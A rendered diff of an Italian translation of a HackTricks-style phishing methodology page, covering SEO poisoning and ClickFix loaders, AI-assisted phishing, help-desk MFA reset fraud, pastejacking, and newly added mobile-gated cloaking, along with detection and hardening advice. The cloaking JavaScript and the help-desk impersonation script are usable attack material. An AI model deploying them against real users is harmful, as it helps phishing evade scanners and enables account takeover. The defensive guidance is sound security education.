| * Registra le chiamate dell'help-desk e applica un **call-back a un numero già registrato** prima di qualunque reset. | ||||
| * Implementa **Just-In-Time (JIT) / Privileged Access** in modo che gli account appena resettati **non** ereditino automaticamente token ad alto privilegio. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Inganno su larga scala – SEO Poisoning & campagne “ClickFix” | ||||
| Gruppi commodity compensano il costo delle operazioni high-touch con attacchi di massa che trasformano **motori di ricerca & reti pubblicitarie nel canale di consegna**. | ||||
| ## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns | ||||
| Gruppi commodity compensano il costo delle operazioni high-touch con attacchi di massa che trasformano **motori di ricerca & reti pubblicitarie nel canale di distribuzione**. | ||||
| 
 | ||||
| 1. **SEO poisoning / malvertising** spinge un risultato falso come `chromium-update[.]site` tra i primi annunci di ricerca. | ||||
| 1. **SEO poisoning / malvertising** spinge un risultato fake come `chromium-update[.]site` in cima agli annunci di ricerca. | ||||
| 2. La vittima scarica un piccolo **first-stage loader** (spesso JS/HTA/ISO). Esempi osservati da Unit 42: | ||||
| * `RedLine stealer` | ||||
| * `Lumma stealer` | ||||
| * `Lampion Trojan` | ||||
| 3. Il loader esfiltra cookie del browser + database credenziali, poi scarica un **silent loader** che decide – *in tempo reale* – se distribuire: | ||||
| 3. Il loader esfiltra cookie del browser + database di credenziali, poi scarica un **silent loader** che decide – *in tempo reale* – se distribuire: | ||||
| * RAT (es. AsyncRAT, RustDesk) | ||||
| * ransomware / wiper | ||||
| * componente di persistenza (chiave Run del registro + scheduled task) | ||||
| * componente di persistenza (chiave Run nel registro + scheduled task) | ||||
| 
 | ||||
| ### Consigli per hardening | ||||
| * Blocca i domini appena registrati e applica **Advanced DNS / URL Filtering** sia sugli *search-ads* sia sulle email. | ||||
| * Restringi l'installazione di software a pacchetti MSI firmati / Store, nega l'esecuzione di `HTA`, `ISO`, `VBS` tramite policy. | ||||
| * Monitora processi figli dei browser che aprono installer: | ||||
| ### Hardening tips | ||||
| * Blocca i domini appena registrati e applica **Advanced DNS / URL Filtering** sia sugli annunci di ricerca sia sulle email. | ||||
| * Restringi l'installazione di software a pacchetti MSI firmati / Store, vieta l'esecuzione di `HTA`, `ISO`, `VBS` tramite policy. | ||||
| * Monitora i processi figli dei browser che aprono installer: | ||||
| ```yaml | ||||
| - parent_image: /Program Files/Google/Chrome/* | ||||
| and child_image: *\\*.exe | ||||
| ``` | ||||
| * Caccia le LOLBins frequentemente abusate dai first-stage loader (es. `regsvr32`, `curl`, `mshta`). | ||||
| * Cerca LOLBins frequentemente abusati dai first-stage loader (es. `regsvr32`, `curl`, `mshta`). | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Operazioni di phishing potenziate dall'AI | ||||
| Gli attaccanti ora concatenano **API LLM & voice-clone** per esche totalmente personalizzate e interazioni in tempo reale. | ||||
| ## AI-Enhanced Phishing Operations | ||||
| Gli attaccanti ora concatenano **API LLM & voice-clone** per lure completamente personalizzati e interazioni in tempo reale. | ||||
| 
 | ||||
| | Layer | Esempio d'uso da parte di un threat actor | | ||||
| |-------|-------------------------------------------| | ||||
| |Automazione|Generare e inviare >100k email / SMS con testi randomizzati & link di tracking.| | ||||
| |AI generativa|Produrre email *one-off* che citano M&A pubblici, battute interne dai social; deep-fake della voce del CEO in una chiamata di callback.| | ||||
| |AI agentica|Registrare domini autonomamente, scrape di intel open-source, creare mail di follow-up quando una vittima clicca ma non invia credenziali.| | ||||
| | Layer | Example use by threat actor | | ||||
| |-------|-----------------------------| | ||||
| |Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.| | ||||
| |Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.| | ||||
| |Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.| | ||||
| 
 | ||||
| **Difesa:** | ||||
| • Aggiungi **banner dinamici** che evidenzino messaggi inviati da automazione non attendibile (via anomalie ARC/DKIM).   | ||||
| • Distribuisci **frasi di challenge biometrica vocale** per richieste telefoniche ad alto rischio.   | ||||
| • Simula continuamente esche generate da AI nei programmi di awareness – i template statici sono obsoleti. | ||||
| • Aggiungi **banner dinamici** che evidenzino messaggi inviati da automazioni non attendibili (tramite anomalie ARC/DKIM).   | ||||
| • Deploya **challenge biometriche vocali** per le richieste telefoniche ad alto rischio.   | ||||
| • Simula continuamente lure generati da AI nei programmi di awareness – i template statici sono obsoleti. | ||||
| 
 | ||||
| See also – agentic browsing abuse for credential phishing: | ||||
| 
 | ||||
| @ -527,19 +527,19 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md | ||||
| --- | ||||
| 
 | ||||
| ## MFA Fatigue / Push Bombing Variant – Forced Reset | ||||
| Oltre al classico push-bombing, gli operatori semplicemente **forzano una nuova registrazione MFA** durante la chiamata con l'help-desk, azzerando il token esistente dell'utente. Qualsiasi prompt di login successivo apparirà legittimo alla vittima. | ||||
| Oltre al classico push-bombing, gli operatori semplicemente **forzano una nuova registrazione MFA** durante la chiamata all'help-desk, annullando il token esistente dell'utente. Qualsiasi successiva richiesta di login apparirà legittima per la vittima. | ||||
| ```text | ||||
| [Attacker]  →  Help-Desk:  “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” | ||||
| [Help-Desk] →  AzureAD: ‘Delete existing methods’ → sends registration e-mail | ||||
| [Attacker]  →  Completes new TOTP enrolment on their own device | ||||
| ``` | ||||
| Monitorare eventi di AzureAD/AWS/Okta in cui **`deleteMFA` + `addMFA`** si verificano **dallo stesso IP entro pochi minuti**. | ||||
| Monitor for AzureAD/AWS/Okta events where **`deleteMFA` + `addMFA`** occur **within minutes from the same IP**. | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ## Clipboard Hijacking / Pastejacking | ||||
| 
 | ||||
| Gli attaccanti possono copiare silenziosamente comandi malevoli negli appunti (clipboard) della vittima da una pagina web compromessa o typosquatted e poi indurre l'utente a incollarli in **Win + R**, **Win + X** o in una finestra del terminale, eseguendo codice arbitrario senza alcun download o allegato. | ||||
| Gli aggressori possono copiare silenziosamente comandi malevoli nella clipboard della vittima da una pagina web compromessa o typosquatted e poi indurre l'utente a incollarli dentro **Win + R**, **Win + X** o una terminal window, eseguendo codice arbitrario senza alcun download o attachment. | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| @ -553,6 +553,33 @@ clipboard-hijacking.md | ||||
| mobile-phishing-malicious-apps.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### Mobile‑gated phishing to evade crawlers/sandboxes | ||||
| Gli operatori mettono sempre più spesso i loro flussi di phishing dietro un semplice controllo del dispositivo, in modo che i desktop crawlers non raggiungano mai le pagine finali. Uno schema comune è uno script che verifica se il DOM è touch-capable e invia il risultato a un server endpoint; i client non‑mobile ricevono HTTP 500 (o una pagina vuota), mentre agli utenti mobile viene servito il flusso completo. | ||||
| 
 | ||||
| Minimal client snippet (typical logic): | ||||
| ```html | ||||
| <script src="/static/detect_device.js"></script> | ||||
| ``` | ||||
| `detect_device.js` logica (semplificata): | ||||
| ```javascript | ||||
| const isMobile = ('ontouchstart' in document.documentElement); | ||||
| fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})}) | ||||
| .then(()=>location.reload()); | ||||
| ``` | ||||
| Comportamento del server spesso osservato: | ||||
| - Imposta un cookie di sessione durante il primo caricamento. | ||||
| - Accetta `POST /detect {"is_mobile":true|false}`. | ||||
| - Restituisce 500 (o placeholder) alle GET successive quando `is_mobile=false`; serve il phishing solo se `true`. | ||||
| 
 | ||||
| Euristiche di ricerca e rilevamento: | ||||
| - urlscan query: `filename:"detect_device.js" AND page.status:500` | ||||
| - Telemetria web: sequenza di `GET /static/detect_device.js` → `POST /detect` → HTTP 500 per non‑mobile; i percorsi legittimi per vittime mobile restituiscono 200 con HTML/JS successivo. | ||||
| - Bloccare o esaminare con attenzione le pagine che condizionano il contenuto esclusivamente su `ontouchstart` o controlli di dispositivo simili. | ||||
| 
 | ||||
| Consigli di difesa: | ||||
| - Eseguire crawler con fingerprint simili a dispositivi mobile e JS abilitato per rivelare contenuti protetti. | ||||
| - Generare allerta su risposte 500 sospette successive a `POST /detect` su domini appena registrati. | ||||
| 
 | ||||
| ## Riferimenti | ||||
| 
 | ||||
| - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) | ||||
| @ -560,5 +587,6 @@ mobile-phishing-malicious-apps.md | ||||
| - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) | ||||
| - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| - [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) | ||||
| - [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user